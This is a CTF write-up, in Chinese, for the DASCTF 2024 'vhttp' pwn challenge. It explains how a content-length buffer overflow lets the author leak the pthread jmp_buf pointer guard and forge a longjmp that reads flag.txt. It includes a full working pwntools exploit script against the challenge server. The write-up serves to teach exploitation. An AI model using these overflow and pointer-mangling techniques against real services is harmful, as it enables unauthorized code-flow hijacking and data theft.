DASCTF 2024暑期挑战赛 - vhttp

DASCTF 2024暑期挑战赛 - vhttp

RocketDev

文件属性

属性
Arch x64
RELRO Full
Canary off
NX on
PIE off
strip yes
libc 2.31-0ubuntu9.12

解题思路

程序实现了一个简单的http服务器,没有路径穿越符漏洞;不能直接打开目录下的flag.txt, 是由strstr拦截的;不能使用%2F这样的转义字符串,服务器不支持。那就逆一下程序, 对于输入的三元组和键值对来说,都没有什么bug。但是主函数里只取用了content-length这一个标头, 跟到解析请求资源的函数里,发现程序会按content-length读入这么多的字节数, 并且没有做限制。观察栈上结构,在输入的buf之上是用于longjmpjmp_buf, 触发条件也有,因此尝试覆写之。程序通过特定字符串的判断,给了1次读取栈上内容的机会, 也给了longjmp的机会。

这道题采用了fread,不同于readfread只有读取指定的长度后才会停止, 不像read只需要send结束就可以结束输入。那么就出现了一个问题: jmp_buf的结构中RBP、RSP、RIP是受fs:[0x30]保护的,要想读取它们来解密fs:[0x30]就不能覆盖, 但是为了利用这个结构体却不能覆盖。难道要打rop?程序是没有返回的! 任何结果都是直接exit的。那么在栈上查找其他数据,发现还有一个jmp_buf:

1
2
3
4
5
6
7
8
9
10
11
struct jmp_buf {
size_t rbx;
size_t rbp;
size_t r12;
size_t r13;
size_t r14;
size_t r15;
size_t rsp;
size_t rip;
...
};

one more jmp_buf

而这个jmp_buf是由程序使用了pthread库后创建线程带来的,其中的RBP是0, 那么RBP的位置可以直接获得guard(fs:[0x30])的值,还可以获得一个主线程的栈地址。为了读取flag.txt, 我们需要想方设法在栈上留一个&'flag.txt',三元组是保存在bss上的,content是保存在子线程的栈上的, 而这个栈帧的值我们是不知道的,只有标头键值对中的最后一组会留在主线程的栈上。 那么只要最后写一个flag.txt的标头就可以做到,然后设置好RBP、RSP,将RIP设置为0x401ec7, 就可以让程序读取flag.txt并打印flag。

flag on stack

温馨提示:与上图不是一个进程

jump to ...

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './vhttp'

def payload(lo:int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b *0x401dd1')
else:
sh = remote('node5.buuoj.cn', 27536)
elf = ELF(EXE)

ADD_LINE = lambda s, cont: s + cont + '\r\n'

base = ADD_LINE('', 'GET / HTTP/1.0')
base = ADD_LINE(base, 'content-length: {}')
base = ADD_LINE(base, 'flag.txt: 0')
base = ADD_LINE(base, '')

toleak = base.format(512 + 0x100 + 8).encode()
sh.send(toleak)

toleak = b'\r\nuser=newbew'.ljust(512 + 0x100) + b'LEAK PTR'
sh.send(toleak) # leak the jmp_buf from pthread
sh.recvuntil(b'LEAK PTR')

encrypted = sh.recv(8)
stack = u64(sh.recv(6) + b'\0\0')

guard = 0
PTR_DEMANGLE = lambda reg: ((reg >> 17) | ((reg & 0x1ffff) << (64 - 17))) ^ guard
PTR_MANGLE = lambda reg: (((reg ^ guard) & 0x7fffffffffff) << 17) \
| (((reg ^ guard) & 0xffff800000000000) >> 64 - 17)

guard = PTR_DEMANGLE(u64(encrypted))
success(f'Leak ptr guard: {guard:#x}')
success(GOLD_TEXT(f'Leak stack: {stack:#x}'))

rbp = stack - 0xe + 0xe0 # now rbp points to &'flag.txt'
rbp += 0x3a0 # now rbp is "resolved file path"
tojump = b'&pass=v3rdant'.ljust(0x200) + p64(0) + p64(PTR_MANGLE(rbp)) + \
p64(0) * 4 + p64(PTR_MANGLE(rbp - 0x3e0)) + p64(PTR_MANGLE(0x401ec7))
tojump = tojump.ljust(0x308)
sh.send(tojump)

sh.recvuntil(b'DASCTF{')
flag = b'DASCTF{' + sh.recvuntil(b'}')
success(flag.decode())
  • 标题: DASCTF 2024暑期挑战赛 - vhttp
  • 作者: RocketDev
  • 创建于 : 2024-07-25 23:05:00
  • 更新于 : 2024-07-25 23:05:00
  • 链接: https://rocketmadev.github.io/2024/07/25/vhttp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
DASCTF 2024暑期挑战赛 - vhttp